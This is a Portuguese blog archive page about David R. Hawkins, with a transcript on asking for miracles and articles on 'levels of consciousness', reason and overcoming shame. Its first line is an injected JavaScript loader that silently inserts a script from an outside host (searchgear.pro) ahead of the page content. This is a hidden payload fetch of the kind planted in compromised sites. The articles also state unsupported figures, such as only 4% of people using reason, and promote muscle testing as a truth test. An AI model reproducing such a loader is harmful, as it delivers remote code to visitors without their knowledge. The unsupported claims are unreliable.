;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de julgamento - David Hawkins Brasil
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David Hawkins

Milagre: Como pedir por Um? – por Dr. David R. Hawkins

Como pedir por um milagre? Acompanhe a transcrição desse trecho de entrevista do Dr. David Hawkins, concedida à sua esposa Susan Hawkins, numa conversa sobre a diferença entre perdão e renúncia.

Quando pedimos de coração para que um milagre aconteça, temos que render nossas percepções e expectativas sobre determinado assunto, para que possamos enxergar e apreciar o milagre quando ele acontece, pois ele irá.

Para reconhecer o milagre aceite o presente oculto

Tudo tem e apresenta um presente oculto, mas nossa visão muitas vezes limita esse presente oculto e acabamos negando o presente de Deus para nós.

Então, isso faz com que nos afastemos de Deus ao invés de nos aproximarmos Dele.

E, quando isso acontece o sofrimento é o destino.

Se afastar de Deus e negar seus presentes é sofrimento.

Se aproximar de Deus e aceitar seus presentes é Alegria, Amor e Paz.

Entregue seus julgamentos e o que sobra é o milagre!

Perdão e Milagre – Dr. David R. Hawkins 

Ative a legenda em português para uma melhor experiência.

Susan: Quando você diz para orar para o Espírito Santo por um milagre para ver a verdade sobre uma situação ou pessoa. Nós devemos perdoar aquela pessoa porque houve algum conflito, ou apenas aceitá-la pelo que ela é?

Dr.Hawkins: Não, porque você ainda está vendo da mesma forma, ou você não estaria perdoando ela.

Como Um Curso em Milagres explana, os milagres acontecem mas não como uma consequência de como você vê isso. Porque talvez você ainda veja da mesma forma.

E, mesmo assim, eles acontecem.

Então, quando eu peço por um milagre, eu estou rendendo a minha percepção de como eu vejo isso e então é transformado.

Assim, eu vejo que ainda é amável. Eu vejo que alguém que eu estou com raiva não pode ser diferente do que ela é.

Então, ao invés de ter raiva ou ficar bravo, eu sinto compaixão por ela. Eu digo: “É uma pena que eles não possam ver da forma que eu estou vendo”.

Porque sei que a vida deles é dolorosa, da forma que eles estão vendo o mundo. E, quando eles virem do meu jeito, o mundo para de ser doloroso. Certo? 

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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Níveis de Consciência

Apenas 4% das Pessoas utilizam a Razão – com base em Dr. David Hawkins

Por mais que sejamos considerados animais racionais, apenas uma pequena parcela da população do mundo alcança o nível de consciência da razão.

De acordo com as pesquisas realizadas pelo Dr. David R. Hawkins, MD e PhD, dentro da tabela dos níveis de consciência, a maior parte da população mundial (78%) encontra-se nos níveis negativos de consciência. A razão disso é justamente a ausência dela.

Estar nos níveis negativos de consciência significa deixar levar-se pelos impulsos instintivos animais de:

  • desejo,
  • raiva,
  • irritação,
  • medo,
  • orgulho,
  • vaidade,
  • culpa,
  • tristeza e
  • vergonha.

São pessoas que dão atenção demais a esses sentimentos e vivem suas vidas em prol do egoísmo e da sobrevivência física e emocional de si mesmas, dando aos outros apenas para ganhar reconhecimento e prestígio, sem a presença de um real altruísmo ou vontade de contribuir para o bem-estar coletivo.

Outros 15% da somatória, encontram-se nos níveis de consciência emocionais positivos, abordado nos últimos artigos.

Pessoas que vivem suas vidas com base na coragem, neutralidade, disposição e aceitação, transcenderam a base de seus egos individuais e partiram para a contribuição e construção de uma sociedade melhor.

Esses níveis positivos denotam: otimismo, construtivismo, foco no bem-estar de si mesmo e dos outros e, principalmente, o aumento progressivo de humildade.

A emoção impacta na razão

É importante observar que estágios positivos de consciência ainda têm a emoção como foco, e quando uma emoção positiva toma conta, pode virar euforia, que abre a porta direta para a melancolia, frustração e os demais estágios de consciência negativos.

O julgamentalismo ainda está constantemente presente. Nega-se os sentimentos negativos para não ter que lidar com eles, e isso os faz se acumularem no inconsciente e podem causar explosões de impulsos e insanidades eventuais que acarretam em culpa e vergonha.

Assim, o foco no positivo que negligencia o negativo pode ser o principal motivo para a descrença e retorno ao negativo.

Para se ter uma vida equilibrada, onde a emoção se torna pano de fundo do que nos torna realmente diferente das outras espécies de animais, é necessário transcender as emoções e se conectar com o que recebemos de maior benefício por sermos humanos: o dom da razão.

Com a razão podemos tanto sair dos estágios conscientes negativos e transcender as emoções positivas, assim como serve de trampolim para estágios de consciência acima da razão (aos quais chegam apenas de 3% a 4% da população).

Animais racionais

Muitos seres inteligentes e racionais em nossa história, acabaram se corrompendo por permitir que seu lado animal tomasse conta através da energia do orgulho, onde acontece a inversão de valores da presença do bem para a ausência do bem.

Podemos ver grandes políticos como:

  • Hitler,
  • Napoleão,
  • Papa Doc, 
  • Yasser Arafat,

Assim como muitos outros, foram exemplos para suas nações antes de se corromperem por motivos ilusórios de poder e controle.

O animal toma conta e a inteligência se torna a arma mais perigosa do mundo. E o extermínio iminente acontece.

Muitas pessoas, assim como esses exemplos acima, em escalas muito menos impactantes, ignoram suas sombras internas e suas emoções e distorcem a realidade dizendo serem mais racionais do que emocionais.

Porém, quando estão diante de situações diversas como por exemplo:

  • Assistindo ao jornal, jorram julgamentos e indignação.
  • No trânsito, criticam e condenam os demais pelos seus erros.
  • Em sua família, apenas a sua palavra e opinião narcisista é que vale como verdade.

E isso não pode ser razão. Na realidade, isso está bastante longe da razão, pois é emoção pura. E ainda negativa.

Muitos homens se gabam de serem fortes por não chorarem ou ficarem abatidos, mas escondem sua tristeza e melancolia atrás da raiva, indignação, cinismo e arrogância por serem covardes demais para enfrentarem seus reais medos.

Buscam cada vez mais se armarem de informações para ganharem discussões e acumularem conhecimento para terem suas opiniões formadas e fortalecidas por argumentações aleatórias e desprovidas de realidade. E então, a ausência de sabedoria se revela.

Conhecimento e Sabedoria

Conhecimento é ter informações sobre o outro, sobre o externo, sobre o que está fora. Usar palavras para manipular e tirar vantagem de ganho ou recompensa.

Sabedoria é ter experiências sobre si mesmo, sobre o interno, sobre o que está dentro.

A base na sabedoria, compartilha palavras para convencer (do latim vencer juntos) as outras pessoas que há algo melhor a ser feito do que elas vêm fazendo hoje, caso elas queiram enxergar.

Enquanto a base no conhecimento, impõe conceitos para manipular (do latim manusear) as outras pessoas para acreditarem naquilo que eu quero que elas acreditem ou façam exclusivamente para que eu ganhe algo ou comprove a elas que eu estou certo.

Um homem que é arrogante o suficiente para não aceitar suas fraquezas, continuará enxergando o mundo com feiura, não adiantando em nada suas críticas.

Porém, quando um homem decide trocar arrogância por humildade, o mundo todo ganha sem ele ter que ‘fazer’ nada, apenas por ‘ser’ corajoso em assumir seus defeitos de caráter e corrigi-los naturalmente.

Seres Humanos

Ser humano é dominar os impulsos instintivos do cérebro límbico animal e enxergar a razão e lógica advinda do neocórtex cerebral para tomar decisões mais cabíveis e coerentes e manter uma intenção de harmonia cada vez mais presente.

O nível de consciência da razão é o que traz benefícios mais evidentes e palpáveis em nossa sociedade. Grandes juízes da Suprema Corte, estadistas, cientistas, filósofos, doutores íntegros. São proeminentes desse estado.

Hoje no Brasil temos o exemplo de integridades racionais como Joaquim Barbosa e Sergio Moro e conseguimos sentir o impacto benéfico para toda a sociedade a partir de seus atos em nome do bem maior.

Vemos também as grandes transformações daqueles que alcançaram os níveis avançados da razão como:

  • Albert Einstein,
  • Isaac Newton,
  • Platão, Aristóteles,
  • Descartes,
  • Freud,
  • Stephen Hawking

Esses, entre muitos outros grandes homens da ciência e da filosofia favoreceram eras posteriores às suas através de suas pesquisas, experiências e análises.

Então, o que é a razão?

A razão é o nível de consciência da lógica, da análise e entendimento de dados.

A busca dos fatos ao invés do julgamento ou do pré-conceito.

É o estado onde se busca a cada instante trocar condenação por compreensão.

Neste nível de consciência são valorizados o estudo, a educação e o respeito às leis. A regra de ouro prevalece: “não faça aos outros o que não gostaria que fizessem com você”.

A boa notícia é que qualquer pessoa pode chegar neste estado de consciência desde que queira realmente.

Não é necessário uma profissão ou cargo que denote a razão para ser racional. Não há uma faculdade ou curso de especialização que se ensine isso.

Como alcançar o estado da razão?

Este é um exercício diário de autoconhecimento e humildade. A humildade de saber que não se sabe de nada e que vale a pena ouvir, pesquisar, investigar e se ater aos fatos e não às próprias opiniões repletas de posicionamentos e emocionalidades.

Para se alcançar o nível de consciência da Razão, é necessário trocar julgamento por entendimento, se conectar profundamente com o perdão e diminuir as intervenções das emoções negativas no dia a dia, assim como desapegar das emoções positivas como mola propulsoras de suas ações.

Ser racional não significa ser frio, pelo contrário, o calor do altruísmo está mais presente, porque já se entende que as emoções sem domínio tem potencial autodestrutivo e destrutivo.

Ser racional é escolher e selecionar as emoções as quais você quer manter em você.

Observar as emoções surgirem e deixarem elas irem por saber que este impulso não será benéfico a si mesmo e às pessoas ao seu redor.

É um processo de triagem, de inteligência, de compreensão de si mesmo e dos outros.

O crescimento da humanidade se dá através da razão

A razão é o alicerce linear perceptível de crescimento e desenvolvimento da humanidade.

Por mais que pareça difícil e utópico, nada mais é do que prática.

Prática é se desafiar constantemente e observar as sombras das emoções negativas que brotam com as atitudes de sair da zona de conforto constantemente.

Escolher desafios em todas as áreas da vida pode acelerar mais do que 1.000 vezes o processo de evolução de uma pessoa comparada a outra que não se desafia e prefere viver se apegando a confortos, o que gera concomitantemente sofrimentos.

Basta escolher constantemente desafios que te tirem da zona de conforto em áreas que consideramos inocentes como:

  • alimentação,
  • sono,
  • percepção térmica,
  • prazeres,
  • atividades domésticos e profissionais,
  • relacionamentos,
  • forma de expressão com os outros,
  • em seu autoconhecimento e
  • em sua espiritualidade.

É preciso criar um compromisso com a Verdade do destemor e da coragem.

Para inspirar este processo, a Pandora Treinamentos oferece um Programa de Alta Performance que estimula e acelera o processo evolutivo em todas as áreas da vida.

Que o mundo possa ganhar com mais uma pessoa que busca sua evolução a partir de agora.

Gratidão e boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual